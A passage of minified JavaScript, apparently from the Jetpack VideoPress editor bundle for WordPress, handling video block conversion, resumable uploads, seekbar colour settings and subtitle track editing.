__=f.__,N=(0,d.createHigherOrderComponent)(e=&gt;t=&gt;{const{name:s}=(0,i.useBlockEditContext)();return&quot;core/video&quot;!==s&amp;&amp;&quot;videopress/video&quot;!==s?(0,E.jsx)(e,{...t}):(0,E.jsxs)(e,{...t,disableDropZone:!0,className:&quot;no-videopress-media-placeholder&quot;,children:[(0,E.jsx)(u.Button,{disabled:!0,className:&quot;components-button no-videopress-disabled-button&quot;,variant:&quot;secondary&quot;,children:__(&quot;Media Library&quot;,&quot;jetpack&quot;)}),(0,E.jsx)(u.Button,{disabled:!0,className:&quot;components-button no-videopress-disabled-button&quot;,variant:&quot;secondary&quot;,children:__(&quot;Upload&quot;,&quot;jetpack&quot;)})]})},&quot;videoPressNoPlanMediaPlaceholder&quot;),T=(0,d.createHigherOrderComponent)(e=&gt;t=&gt;{const{name:s}=(0,i.useBlockEditContext)();if(&quot;core/video&quot;!==s)return(0,E.jsx)(e,{...t});const{onFilesSelected:r,onMediaItemSelected:n}=(0,m.useContext)(b.Z),o={...t,handleUpload:!1,disableDropZone:!0,onSelect:e=&gt;{void 0!==e.length?r(e):n(e)}};return(0,E.jsx)(e,{...o,className:&quot;videopress-media-placeholder&quot;})},&quot;videoPressMediaPlaceholder&quot;),B=(e,t,s)=&gt;(&quot;core/video&quot;!==t.name||!s.guid||s.className?.indexOf(&quot;wp-block-video&quot;)&gt;=0||s.videoPressClassNames||(e.className=e.className.replace(&quot;wp-block-video&quot;,&quot;&quot;).trim()),e);(0,g.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;jetpack/videopress&quot;,(e,t)=&gt;{if(&quot;core/embed&quot;===t)return(e=&gt;{if(!(&quot;variations&quot;in e)||&quot;object&quot;!=typeof e.variations)return;const{available:t}=(0,o.FB)(&quot;videopress&quot;);e.variations.some(e=&gt;&quot;videopress&quot;===e.name&amp;&amp;(t&amp;&amp;(e.scope=[]),e.patterns.push(/^https?:\/\/v\.wordpress\.com\/([a-zA-Z\d]{8})(.+)?$/i),!0))})(e),e;if(&quot;core/video&quot;!==t||e.isDeprecation)return e;const{deprecated:s,edit:r,save:i,supports:l,transforms:u}=e,{available:d,unavailableReason:p}=(0,o.FB)(&quot;videopress&quot;),m=(0,n.isWpcomPlatformSite)()&amp;&amp;[&quot;missing_plan&quot;,&quot;unknown&quot;].includes(p),f=!!window.videoPressResumableEnabled;if(m?((0,g.addFilter)(&quot;editor.MediaPlaceholder&quot;,&quot;jetpack/videopress&quot;,N),(0,g.addFilter)(&quot;editor.BlockListBlock&quot;,&quot;jetpack/videopress-with-has-warning-is-interactive-class-names&quot;,(0,o.BT)(&quot;core/video&quot;))):d&amp;&amp;(f&amp;&amp;(0,g.addFilter)(&quot;editor.MediaPlaceholder&quot;,&quot;jetpack/videopress&quot;,T),e.description=__(&quot;Embed a video from your media library or upload a new one with VideoPress.&quot;,&quot;jetpack&quot;),e.example.attributes={caption:&quot;&quot;,isVideoPressExample:!0,src:S}),(0,g.addFilter)(&quot;blocks.getSaveContent.extraProps&quot;,&quot;jetpack/videopress&quot;,B,20),d||[&quot;missing_plan&quot;,&quot;missing_module&quot;,&quot;unknown&quot;].includes(p)){const t={autoplay:{type:&quot;boolean&quot;},caption:{type:&quot;string&quot;,source:&quot;html&quot;,selector:&quot;figcaption&quot;},controls:{type:&quot;boolean&quot;,default:!0},maxWidth:{type:&quot;string&quot;,default:&quot;100%&quot;},guid:{type:&quot;string&quot;},id:{type:&quot;number&quot;},loop:{type:&quot;boolean&quot;},isVideoPressExample:{type:&quot;boolean&quot;,default:!1},muted:{type:&quot;boolean&quot;},playsinline:{type:&quot;boolean&quot;},poster:{type:&quot;string&quot;},preload:{type:&quot;string&quot;,default:&quot;metadata&quot;},seekbarPlayedColor:{type:&quot;string&quot;,default:&quot;&quot;},seekbarLoadingColor:{type:&quot;string&quot;,default:&quot;&quot;},seekbarColor:{type:&quot;string&quot;,default:&quot;&quot;},src:{type:&quot;string&quot;,source:&quot;attribute&quot;,selector:&quot;video&quot;,attribute:&quot;src&quot;},useAverageColor:{type:&quot;boolean&quot;,default:!0},videoPressTracks:{type:&quot;array&quot;,items:{type:&quot;object&quot;},default:[]},videoPressClassNames:{type:&quot;string&quot;},fileForImmediateUpload:{type:&quot;object&quot;,default:null}},n=/https?:\/\/v\.wordpress\.com\/([a-zA-Z\d]{8})(.+)?/i;return{...e,attributes:{...e.attributes,...t},transforms:{...u,from:[{type:&quot;files&quot;,isMatch:e=&gt;e.every(e=&gt;0===e.type.indexOf(&quot;video/&quot;)),priority:9,transform:(e,t)=&gt;{const s=[];return e.forEach(e=&gt;{if(d&amp;&amp;f){const t=(0,c.createBlock)(&quot;core/video&quot;,{fileForImmediateUpload:e});s.push(t)}else{const r=(0,c.createBlock)(&quot;core/video&quot;,{src:(0,a.createBlobURL)(e)});(0,h.mediaUpload)({filesList:[e],onFileChange:([{id:e,url:s}])=&gt;{t(r.clientId,{id:e,src:s})},allowedTypes:[&quot;video&quot;]}),s.push(r)}}),s}},{type:&quot;raw&quot;,isMatch:e=&gt;&quot;P&quot;===e.nodeName&amp;&amp;n.test(e.innerHTML),transform:e=&gt;{const t=n.exec(e.innerHTML);return(0,c.createBlock)(&quot;core/embed&quot;,{url:&quot;https://videopress.com/v/&quot;+t[1].trim()})}}]},supports:{...l,reusable:!1},edit:(0,j.A)(r),save:(0,w.A)(i),deprecated:[...s||[],x.A,y.A,{attributes:t,isEligible:e=&gt;!e.guid,save:i,supports:l,isDeprecation:!0},k.A,v.A]}}return e},5),(0,g.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;videopress/add-wp-chapters-support&quot;,A.A),(0,g.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;videopress/add-v6-transform-support&quot;,C.A),(0,g.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;videopress/handle-unavailability&quot;,function(e,t){if(&quot;videopress/video&quot;!==t)return e;const{available:s,unavailableReason:r}=(0,o.FB)(&quot;videopress/video&quot;);return s?e:(0,n.isWpcomPlatformSite)()&amp;&amp;[&quot;missing_plan&quot;,&quot;unknown&quot;].includes(r)?((0,g.addFilter)(&quot;editor.MediaPlaceholder&quot;,&quot;jetpack/videopress-video-no-plan&quot;,N),(0,g.addFilter)(&quot;editor.BlockListBlock&quot;,&quot;jetpack/videopress-video-with-has-warning-is-interactive-class-names&quot;,(0,o.BT)(&quot;videopress/video&quot;)),e):e},20),(0,g.addFilter)(&quot;blocks.registerBlockType&quot;,&quot;videopress/add-core-video-transform&quot;,function(e,t){if(&quot;videopress/video&quot;!==t)return e;const s=(0,c.getBlockType)(&quot;videopress/video&quot;),{available:n}=(0,o.FB)(&quot;videopress/video&quot;);return s&amp;&amp;n?{...e,transforms:{from:[...e.transforms?.from||[],{type:&quot;block&quot;,blocks:[&quot;core/video&quot;],isMatch:e=&gt;{const{src:t,guid:s}=e,r=(0,_.QW)(t);return s||r},transform:e=&gt;{const t=(0,p.select)(h.store).getCurrentPostId();return r.A?.tracks?.recordEvent(&quot;jetpack_editor_videopress_block_manual_transform_click&quot;,{post_id:t}),(0,c.createBlock)(&quot;videopress/video&quot;,e)}}],to:[...e.transforms?.to||[],{type:&quot;block&quot;,blocks:[&quot;core/video&quot;],transform:e=&gt;(0,c.createBlock)(&quot;core/video&quot;,e)}]}}:e});const P=(0,d.createHigherOrderComponent)(e=&gt;t=&gt;{const{block:s}=t,{name:r,attributes:a,clientId:l,__unstableBlockSource:u}=s,{replaceBlock:d}=(0,p.useDispatch)(i.store),{url:h,guid:g,providerNameSlug:f}=a,{available:b}=((0,_.x1)(a),(0,c.getBlockType)(&quot;videopress/video&quot;),(0,o.FB)(&quot;videopress/video&quot;)),v=&quot;core/embed&quot;===r,k=(0,_.QW)(h),y=v&amp;&amp;k?k:g,x=((0,n.isSimpleSite)(),!1),j=x;return(0,m.useEffect)(()=&gt;{},[l,j,a,u,d,y]),(0,E.jsx)(e,{...t})},&quot;convertVideoBlockToVideoPressVideoBlock&quot;);function I({BlockListBlock:e,...t}){const{block:s}=t,{name:r,attributes:n,clientId:o}=s,{replaceBlock:a}=(0,p.useDispatch)(i.store);return(0,m.useEffect)(()=&gt;{try{const e=(0,l.parse)(n.originalContent),t=e?.[0];if(!t)return;const{attrs:s}=t;a(o,(0,c.createBlock)(&quot;core/video&quot;,function(e){const t={...e};return e?.tracks&amp;&amp;(t.videoPressTracks=e.tracks,delete t.tracks),e?.isExample&amp;&amp;(t.isVideoPressExample=e.isExample,delete t.isExample),e?.classNames&amp;&amp;(t.videoPressClassNames=e.classNames,delete t.classNames),delete t.title,delete t.description,delete t.cacheHtml,delete t.videoRatio,delete t.privacySetting,delete t.allowDownload,delete t.displayEmbed,delete t.rating,delete t.isPrivate,t}(s)))}catch(e){console.error(&quot;Error converting VideoPress block to core/video&quot;,e)}},[r,o,n,a]),(0,E.jsx)(e,{...t})}(0,g.addFilter)(&quot;editor.BlockListBlock&quot;,&quot;videopress/jetpack-convert-to-videopress-video-block&quot;,P);const M=(0,d.createHigherOrderComponent)(e=&gt;t=&gt;{const{block:s}=t,{name:r,attributes:n}=s;return&quot;core/missing&quot;!==r||&quot;videopress/video&quot;!==n?.originalName?(0,E.jsx)(e,{...t}):(0,E.jsx)(I,{...t,BlockListBlock:e})},&quot;convertV6toV5&quot;);(0,g.addFilter)(&quot;editor.BlockListBlock&quot;,&quot;videopress/jetpack-convert-from-v6-to-v5&quot;,M)},90781(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;o});var r=s(56427),n=s(10790);const o=({text:e})=&gt;(0,n.jsxs)(&quot;div&quot;,{className:&quot;wp-block-embed is-loading&quot;,children:[(0,n.jsx)(r.Spinner,{}),(0,n.jsx)(&quot;p&quot;,{children:e})]})},76212(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;u});var r=s(56427),n=s(86087),o=s(27723),a=s(37578),i=s(81837),l=s(80534),c=(s(36556),s(10790));const __=o.__;function u({file:e}){const[t,s]=(0,n.useState)(0),[u,d]=(0,n.useState)(!1),[p,h]=(0,n.useState)(null),[m,g]=(0,n.useState)(null),[f,b]=(0,n.useState)(null),{onUploadFinished:v}=(0,n.useContext)(i.Z),k=(0,n.useRef)(null);k.current=p;const y=(0,n.useCallback)(()=&gt;{const t=(0,l.l)({onError:e=&gt;{g(e)},onProgress:(e,t)=&gt;{s(e/t*100)},onSuccess:e=&gt;{v(e)},onUploadUuidRetrieved:e=&gt;{null===f&amp;&amp;b(e)}});(0,l.Q)().then(s=&gt;{const r=t(e,s);h(r)}).catch(e=&gt;{g(e)})},[e,v,f]);(0,n.useEffect)(()=&gt;(y(),()=&gt;{null!==k.current&amp;&amp;k.current.abort()}),[]);const x=Math.round(t),j={width:`${x}%`},w=(0,a.O)(e.size);return(0,c.jsx)(c.Fragment,{children:null!==m?(0,c.jsxs)(&quot;div&quot;,{className:&quot;resumable-upload__error&quot;,children:[(0,c.jsx)(&quot;div&quot;,{className:&quot;resumable-upload__error-text&quot;,children:(()=&gt;{let e=__(&quot;An error was encountered during the upload. Check your network connection.&quot;,&quot;jetpack&quot;);if(&quot;object&quot;==typeof m){const t=m.toString().match(/message&quot;:&quot;([^&quot;]+)&quot;/);if(t&amp;&amp;&quot;object&quot;==typeof t&amp;&amp;2===t.length){const s=t[1];if(&quot;Invalid Mime&quot;!==s)return s;e=(0,c.jsxs)(c.Fragment,{children:[__(&quot;The format of the video you uploaded is not supported.&quot;,&quot;jetpack&quot;),&quot; &quot;,(0,c.jsx)(r.ExternalLink,{href:&quot;https://wordpress.com/support/videopress/recommended-video-settings/&quot;,target:&quot;_blank&quot;,rel:&quot;noreferrer&quot;,children:__(&quot;Check the recommended video settings.&quot;,&quot;jetpack&quot;)})]})}}return e})()}),(0,c.jsx)(r.Button,{variant:&quot;primary&quot;,onClick:()=&gt;(g(null),void y()),children:__(&quot;Try again&quot;,&quot;jetpack&quot;)}),(0,c.jsx)(r.Button,{variant:&quot;secondary&quot;,onClick:()=&gt;v({mediaId:null}),className:&quot;resumable-upload__error-cancel&quot;,children:__(&quot;Cancel&quot;,&quot;jetpack&quot;)})]}):(0,c.jsxs)(&quot;div&quot;,{className:&quot;resumable-upload__status&quot;,children:[(0,c.jsx)(&quot;div&quot;,{className:&quot;resumable-upload__progress&quot;,children:(0,c.jsx)(&quot;div&quot;,{className:&quot;resumable-upload__progress-loaded&quot;,style:j})}),(0,c.jsxs)(&quot;div&quot;,{className:&quot;resumable-upload__file-info&quot;,children:[(0,c.jsx)(&quot;div&quot;,{children:u?(0,o.sprintf)(/* translators: %s: an upload progress percentage number, from 0-100. */
__(&quot;Paused (%s%%)&quot;,&quot;jetpack&quot;),x):(0,o.sprintf)(/* translators: %s: an upload progress percentage number, from 0-100. */
__(&quot;Uploading (%s%%)&quot;,&quot;jetpack&quot;),x)}),(0,c.jsx)(&quot;div&quot;,{className:&quot;resumable-upload__file-size&quot;,children:w})]}),(0,c.jsx)(&quot;div&quot;,{className:&quot;resumable-upload__actions&quot;,children:(0,c.jsx)(r.Button,{variant:&quot;link&quot;,onClick:()=&gt;{p&amp;&amp;(u?p.start():p.abort(),d(!u))},children:u?&quot;Resume&quot;:&quot;Pause&quot;})})]})})}},80534(e,t,s){&quot;use strict&quot;;s.d(t,{Q:()=&gt;n,l:()=&gt;a});var r=s(10781);const n=function(e){return new Promise(function(t,s){const r=e?{data:{key:e}}:{};wp.media.ajax(&quot;videopress-get-upload-jwt&quot;,{async:!0,...r}).done(function(e){t({token:e.upload_token,blogId:e.upload_blog_id,url:e.upload_action_url})}).fail(function(e){s(e)})})},o={},a=({onUploadUuidRetrieved:e,onError:t,onProgress:s,onSuccess:a})=&gt;(i,l)=&gt;{const c=new r._O(i,{onError:t,onProgress:s,endpoint:l.url,removeFingerprintOnSuccess:!0,withCredentials:!1,autoRetry:!0,overridePatchMethod:!1,chunkSize:1e7,allowedFileTypes:[&quot;video/*&quot;],metadata:{filename:i.name,filetype:i.type},retryDelays:[0,1e3,3e3,5e3,1e4],onAfterResponse:function(t,s){if(s.getStatus()&gt;=400)return;const r=s.getHeader(&quot;x-videopress-upload-guid&quot;),n=s.getHeader(&quot;x-videopress-upload-media-id&quot;),i=s.getHeader(&quot;x-videopress-upload-src-url&quot;);if(r&amp;&amp;n&amp;&amp;i)return void(a&amp;&amp;a({mediaId:Number(n),guid:r,src:i}));const l={&quot;x-videopress-upload-key-token&quot;:&quot;token&quot;,&quot;x-videopress-upload-key&quot;:&quot;key&quot;},c={};Object.keys(l).forEach(function(e){const t=s.getHeader(e);t&amp;&amp;(c[l[e]]=t)}),c.key&amp;&amp;c.token&amp;&amp;(o[c.key]=c.token),c.key&amp;&amp;e(c.key)},onBeforeRequest:function(e){const t=e._method;[&quot;HEAD&quot;,&quot;OPTIONS&quot;].indexOf(t)&gt;=0&amp;&amp;(e._method=&quot;GET&quot;,e.setHeader(&quot;X-HTTP-Method-Override&quot;,t)),[&quot;DELETE&quot;,&quot;PUT&quot;,&quot;PATCH&quot;].indexOf(t)&gt;=0&amp;&amp;(e._method=&quot;POST&quot;,e.setHeader(&quot;X-HTTP-Method-Override&quot;,t)),e._xhr.open(e._method,e._url,!0);for(const t of Object.keys(e._headers))e.setHeader(t,e._headers[t]);if(&quot;POST&quot;===t){if(!!!l.token)throw&quot;should never happen&quot;;e.setHeader(&quot;x-videopress-upload-token&quot;,l.token)}if([&quot;OPTIONS&quot;,&quot;GET&quot;,&quot;HEAD&quot;,&quot;DELETE&quot;,&quot;PUT&quot;,&quot;PATCH&quot;].indexOf(t)&gt;=0){const s=new URL(e._url).pathname.split(&quot;/&quot;),r=s[s.length-1];if(o[r])e.setHeader(&quot;x-videopress-upload-token&quot;,o[r]);else if(&quot;HEAD&quot;===t)return n(r).then(t=&gt;(o[r]=t.token,e.setHeader(&quot;x-videopress-upload-token&quot;,t.token),e))}return Promise.resolve(e)}});return c.findPreviousUploads().then(function(e){e.length&amp;&amp;c.resumeFromPreviousUpload(e[0]),c.start()}),c}},41560(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;l});var r=s(94715),n=s(29491),o=s(13022),a=s(17900),i=s(10790);const l=(0,n.createHigherOrderComponent)(e=&gt;t=&gt;{const{attributes:{autoplay:s,caption:n,controls:l,guid:c,loop:u,muted:d,playsinline:p,poster:h,preload:m,videoPressClassNames:g,className:f,align:b,seekbarColor:v,seekbarPlayedColor:k,seekbarLoadingColor:y,useAverageColor:x,maxWidth:j}={}}=t;if(!c)return e(t);const w=r.useBlockProps.save({className:(0,o.A)(&quot;wp-block-video&quot;,f,g,{[`align${b}`]:b})}),_=(0,a.e)(c,{autoplay:s,controls:l,loop:u,muted:d,playsinline:p,poster:h,preload:m,seekbarColor:v,seekbarPlayedColor:k,seekbarLoadingColor:y,useAverageColor:x});let C={};return j&amp;&amp;j.length&gt;0&amp;&amp;&quot;100%&quot;!==j&amp;&amp;(C={maxWidth:j,margin:&quot;auto&quot;}),(0,i.jsxs)(&quot;figure&quot;,{...w,children:[(0,i.jsx)(&quot;div&quot;,{className:&quot;wp-block-embed__wrapper&quot;,style:C,children:`\n${_}\n`}),!r.RichText.isEmpty(n)&amp;&amp;(0,i.jsx)(r.RichText.Content,{tagName:&quot;figcaption&quot;,value:n})]})},&quot;withVideoPressSave&quot;)},57954(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;c});var r=s(94715),n=s(56427),o=s(86087),a=s(27723),i=s(10790);const __=a.__;class l extends o.Component{constructor(){super(...arguments);const{seekbarColor:e,seekbarPlayedColor:t,seekbarLoadingColor:s}=this.props.attributes;this.state={seekbarColor:e,seekbarPlayedColor:t,seekbarLoadingColor:s}}handleChangeSeekbarColor=e=&gt;{this.setState({seekbarColor:e})};handleChangeSeekbarLoadingColor=e=&gt;{this.setState({seekbarLoadingColor:e})};handleChangeSeekbarPlayedColor=e=&gt;{this.setState({seekbarPlayedColor:e})};saveColors=()=&gt;{const{seekbarColor:e,seekbarLoadingColor:t,seekbarPlayedColor:s}=this.state,{setAttributes:r}=this.props;r({seekbarColor:e,seekbarLoadingColor:t,seekbarPlayedColor:s})};render(){const{seekbarColor:e,seekbarPlayedColor:t,seekbarLoadingColor:s}=this.state,{toggleAttribute:o,useAverageColor:a}=this.props,l=!0;return(0,i.jsxs)(n.PanelBody,{className:&quot;seekbar-color-settings__panel&quot;,title:__(&quot;Progress Bar Colors&quot;,&quot;jetpack&quot;),initialOpen:!1,children:[(0,i.jsx)(n.ToggleControl,{label:__(&quot;Match video&quot;,&quot;jetpack&quot;),help:__(&quot;Colors adapt to the video as it plays&quot;,&quot;jetpack&quot;),onChange:o(&quot;useAverageColor&quot;),checked:a,__nextHasNoMarginBottom:!0}),(0,i.jsx)(r.PanelColorSettings,{opened:!a,showTitle:!1,colorSettings:[{value:e,onChange:this.handleChangeSeekbarColor,label:__(&quot;Main&quot;,&quot;jetpack&quot;),showTitle:l},{value:s,onChange:this.handleChangeSeekbarLoadingColor,label:__(&quot;Loaded&quot;,&quot;jetpack&quot;),showTitle:l},{value:t,onChange:this.handleChangeSeekbarPlayedColor,label:__(&quot;Progress&quot;,&quot;jetpack&quot;),showTitle:l}],children:(0,i.jsx)(n.Button,{variant:&quot;secondary&quot;,onClick:this.saveColors,children:__(&quot;Save colors&quot;,&quot;jetpack&quot;)})})]})}}const c=l},96247(e,t,s){&quot;use strict&quot;;s.d(t,{A:()=&gt;y,n:()=&gt;b});var r=s(1455),n=s.n(r),o=s(94715),a=s(56427),i=s(47143),l=s(86087),c=s(27723),u=s(58384),d=s(10790);const __=c.__,p=&quot;subtitles&quot;,h={&quot;.vtt&quot;:&quot;text/vtt&quot;,&quot;.srt&quot;:&quot;application/x-subrip&quot;},m=[{label:__(&quot;Subtitles&quot;,&quot;jetpack&quot;),value:&quot;subtitles&quot;},{label:__(&quot;Captions&quot;,&quot;jetpack&quot;),value:&quot;captions&quot;},{label:__(&quot;Descriptions&quot;,&quot;jetpack&quot;),value:&quot;descriptions&quot;},{label:__(&quot;Chapters&quot;,&quot;jetpack&quot;),value:&quot;chapters&quot;},{label:__(&quot;Metadata&quot;,&quot;jetpack&quot;),value:&quot;metadata&quot;}],g=(0,d.jsxs)(a.SVG,{width:&quot;18&quot;,height:&quot;14&quot;,viewBox:&quot;0 0 18 14&quot;,role:&quot;img&quot;,fill:&quot;none&quot;,children:[(0,d.jsx)(a.Rect,{x:&quot;0.75&quot;,y:&quot;0.75&quot;,width:&quot;16.5&quot;,height:&quot;12.5&quot;,rx:&quot;1.25&quot;,stroke:&quot;black&quot;,strokeWidth:&quot;1.5&quot;,fill:&quot;none&quot;}),(0,d.jsx)(a.Path,{d:&quot;M3 7H15&quot;,stroke:&quot;black&quot;,strokeWidth:&quot;1.5&quot;}),(0,d.jsx)(a.Path,{d:&quot;M3 10L15 10&quot;,stroke:&quot;black&quot;,strokeWidth:&quot;1.5&quot;})]}),f=()=&gt;&quot;videoPressUploadTrack&quot;in window,b=(e,t)=&gt;{if(f())return window.videoPressUploadTrack(t,e.kind,e.srcLang,e.label,e.tmpFile);const s={method:&quot;POST&quot;,path:`/videos/${t}/tracks`,apiNamespace:&quot;rest/v1.1&quot;,global:!0,parse:!1,formData:[[&quot;kind&quot;,e.kind],[&quot;srclang&quot;,e.srcLang],[&quot;label&quot;,e.label],[&quot;vtt&quot;,e.tmpFile]]};return n()(s)};function v({tracks:e,onChange:t,guid:s}){const[r=-1,o]=(0,l.useState)(),i=r=&gt;{const a=e[r];o(r),((e,t)=&gt;{if(f())return window.videoPressDeleteTrack(t,e.kind,e.srcLang);const s={method:&quot;POST&quot;,path:`/videos/${t}/tracks/delete`,apiNamespace:&quot;rest/v1.1&quot;,global:!0,parse:!1,formData:[[&quot;kind&quot;,e.kind],[&quot;srclang&quot;,e.srcLang]]};return n()(s)})(a,s).finally(()=&gt;{t(e.filter((e,t)=&gt;t!==r)),o(-1)})};let u;return u=0===e.length?(0,d.jsx)(&quot;p&quot;,{className:&quot;videopress-block-tracks-editor__tracks-informative-message&quot;,children:__(&quot;Tracks can be subtitles, captions, chapters, or descriptions. They help make your content more accessible to a wider range of users.&quot;,&quot;jetpack&quot;)}):e.map((e,t)=&gt;(0,d.jsxs)(&quot;div&quot;,{className:&quot;videopress-block-tracks-editor__track-list-track&quot;,children:[(0,d.jsx)(&quot;span&quot;,{children:e.label}),(0,d.jsx)(&quot;div&quot;,{className:&quot;videopress-block-tracks-editor__track-list-track-delete&quot;,children:(0,d.jsx)(a.Button,{variant:&quot;link&quot;,isDestructive:!0,onClick:()=&gt;{i(t)},&quot;aria-label&quot;:(0,c.sprintf)(/* translators: %s: Label of the video text track e.g: &quot;French subtitles&quot; */
__(&quot;Delete %s&quot;,&quot;jetpack&quot;),e.label),disabled:r===t,children:r===t?__(&quot;Deleting&quot;,&quot;jetpack&quot;):__(&quot;Delete&quot;,&quot;jetpack&quot;,0)})})]},t)),(0,d.jsx)(a.MenuGroup,{label:__(&quot;Text tracks&quot;,&quot;jetpack&quot;),className:&quot;videopress-block-tracks-editor__track-list&quot;,children:u})}function k({track:e,guid:t,onChange:s,onClose:r,onCancel:n,trackExists:u}){const[g,f]=(0,l.useState)(),[v=!1,k]=(0,l.useState)(),{label:y=&quot;&quot;,srcLang:x=&quot;&quot;,kind:j=p}=e,w=e.tmpFile?e.tmpFile.name:&quot;&quot;;if(!(0,i.useSelect)(e=&gt;e(o.store).getSettings().mediaUpload,[]))return null;return(0,d.jsx)(a.NavigableMenu,{children:(0,d.jsxs)(&quot;div&quot;,{className:&quot;videopress-block-tracks-editor__single-track-editor&quot;,children:[(0,d.jsx)(&quot;span&quot;,{className:&quot;videopress-block-tracks-editor__single-track-editor-label&quot;,children:__(&quot;Edit track&quot;,&quot;jetpack&quot;)}),(0,d.jsxs)(&quot;div&quot;,{className:&quot;videopress-block-tracks-editor__single-track-editor-upload-file&quot;,children:[(0,d.jsxs)(&quot;div&quot;,{className:&quot;videopress-block-tracks-editor__single-track-editor-upload-file-label&quot;,children:[(0,d.jsxs)(&quot;span&quot;,{children:[__(&quot;File&quot;,&quot;jetpack&quot;),&quot;:&quot;]}),&quot;&quot;!==w&amp;&amp;(0,d.jsx)(&quot;span&quot;,{className:&quot;videopress-block-tracks-editor__single-track-editor-upload-file-label-name&quot;,children:(0,d.jsx)(&quot;strong&quot;,{children:w})}),(0,d.jsx)(o.MediaUploadCheck,{children:(0,d.jsx)(a.FormFileUpload,{onChange:t=&gt;{const r=t.target.files;!r.length&gt;0||(e.tmpFile=r[0],s(e))},accept:Object.entries(h).join(),render:({openFileDialog:e})=&gt;(0,d.jsx)(a.Button,{variant:&quot;link&quot;,onClick:()=&gt;{e()},children:&quot;&quot;===w?__(&quot;Select track&quot;,&quot;jetpack&quot;):__(&quot;Change track&quot;,&quot;jetpack&quot;,0)}),disabled:v})})]}),(0,d.jsx)(&quot;div&quot;,{className:&quot;videopress-block-tracks-editor__single-track-editor-upload-file-help&quot;,children:(0,c.sprintf)(/* translators: %s: The allowed file types to be uploaded as a video text track.&quot; */
__(&quot;Allowed formats: %s&quot;,&quot;jetpack&quot;),Object.keys(h).join(&quot;, &quot;))})]}),(0,d.jsxs)(&quot;div&quot;,{className:&quot;videopress-block-tracks-editor__single-track-editor-label-language&quot;,children:[(0,d.jsx)(a.TextControl,{onChange:t=&gt;s({...e,label:t}),label:__(&quot;Label&quot;,&quot;jetpack&quot;),value:y,help:__(&quot;Title of track&quot;,&quot;jetpack&quot;),disabled:v,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,d.jsx)(a.TextControl,{onChange:t=&gt;s({...e,srcLang:t}),label:__(&quot;Source language&quot;,&quot;jetpack&quot;),value:x,help:__(&quot;Language tag (en, fr, etc.)&quot;,&quot;jetpack&quot;),disabled:v,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0})]}),(0,d.jsx)(a.SelectControl,{className:&quot;videopress-block-tracks-editor__single-track-editor-kind-select&quot;,options:m,value:j,label:/* translators: %s: The kind of video text track e.g: &quot;Subtitles, Captions&quot; */
__(&quot;Kind&quot;,&quot;jetpack&quot;),onChange:t=&gt;{s({...e,kind:t})},disabled:v,__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0}),(0,d.jsxs)(&quot;div&quot;,{className:&quot;videopress-block-tracks-editor__single-track-editor-buttons-container&quot;,children:[v?(0,d.jsx)(a.Spinner,{}):(0,d.jsx)(a.Button,{variant:&quot;secondary&quot;,disabled:!e.tmpFile,onClick:()=&gt;{f(null),&quot;&quot;===y&amp;&amp;(e.label=__(&quot;English&quot;,&quot;jetpack&quot;)),&quot;&quot;===x&amp;&amp;(e.srcLang=&quot;en&quot;),void 0===e.kind&amp;&amp;(e.kind=p),u(e)?f(__(&quot;A track already exists for that language and kind.&quot;,&quot;jetpack&quot;)):(k(!0),b(e,t).then(()=&gt;{s(e),f(null),r()}).catch(e=&gt;{e.message&amp;&amp;f(e.message)}).finally(()=&gt;{k(!1)}))},children:__(&quot;Save&quot;,&quot;jetpack&quot;)}),(0,d.jsx)(a.Button,{variant:&quot;link&quot;,onClick:n,children:__(&quot;Close&quot;,&quot;jetpack&quot;)})]}),g&amp;&amp;(0,d.jsx)(&quot;div&quot;,{className:&quot;videopress-block-tracks-editor__single-track-editor-error&quot;,children:/* translators: %s: An error message returned after a failed video track file upload.&quot; */ /* translators: %s: An error message returned after a failed video track file upload.&quot; */
(0,c.sprintf)(__(&quot;Error: %s&quot;,&quot;jetpack&quot;),g)})]})})}function y({tracks:e=[],onChange:t,guid:s}){const[r,n]=(0,l.useState)(null);return(0,d.jsx)(a.Dropdown,{contentClassName:&quot;videopress-block-tracks-editor&quot;,renderToggle:({isOpen:e,onToggle:t})=&gt;(0,d.jsx)(a.ToolbarButton,{label:__(&quot;Text tracks&quot;,&quot;jetpack&quot;),showTooltip:!0,&quot;aria-expanded&quot;:e,&quot;aria-haspopup&quot;:&quot;true&quot;,onClick:t,icon:g}),renderContent:()=&gt;null!==r?(0,d.jsx)(k,{track:e[r],guid:s,onChange:s=&gt;{const n=[...e];n[r]=s,t(n)},onClose:()=&gt;n(null),onCancel:()=&gt;{t(e.filter((e,t)=&gt;t!==r)),n(null)},trackExists:t=&gt;-1!==e.filter((e,t)=&gt;t!==r).findIndex(e=&gt;e.kind===t.kind&amp;&amp;e.srcLang===t.srcLang),__next40pxDefaultSize:!0}):(0,d.jsx)(d.Fragment,{children:(0,d.jsxs)(a.NavigableMenu,{children:[(0,d.jsx)(v,{tracks:e,onChange:t,guid:s}),(0,d.jsx)(a.MenuGroup,{className:&quot;videopress-block-tracks-editor__add-tracks-container&quot;,label:__(&quot;Add tracks&quot;,&quot;jetpack&quot;),children:(0,d.jsx)(a.MenuItem,{icon:u.A,onClick:()=&gt;{(()=&gt;{const s=e.length,r=[...e];r[s]||(r[s]={}),r[s]={...e[s]},t(r),n(s)})()},children:__(&quot;Upload track&quot;,&quot;jetpack&quot;)})})]})})})}},22857(e,t,s){&quot;use strict&quot;;s.d(t,{d:()=&gt;m});var r=s(62410),n=s(94715),o=s(56427),a=s(86087),i=s(27723),l=s(13109),c=s(13022),u=(s(76593),s(10790));const __=i.__,d=[&quot;image&quot;],p=e=&gt;{const{videoPosterImageUrl:t}=e;return(0,u.jsx)(&quot;div&quot;,{className:&quot;resumable-upload__editor-thumb-placeholder&quot;,children:t?(0,u.jsxs)(u.Fragment,{children:[(0,u.jsx)(&quot;img&quot;,{src:t,alt:&quot;Poster&quot;}),(0,u.jsx)(l.A,{className:&quot;uploading-editor__play-icon&quot;,icon:r.ud})]}):(0,u.jsx)(&quot;span&quot;,{children:&quot;No Poster 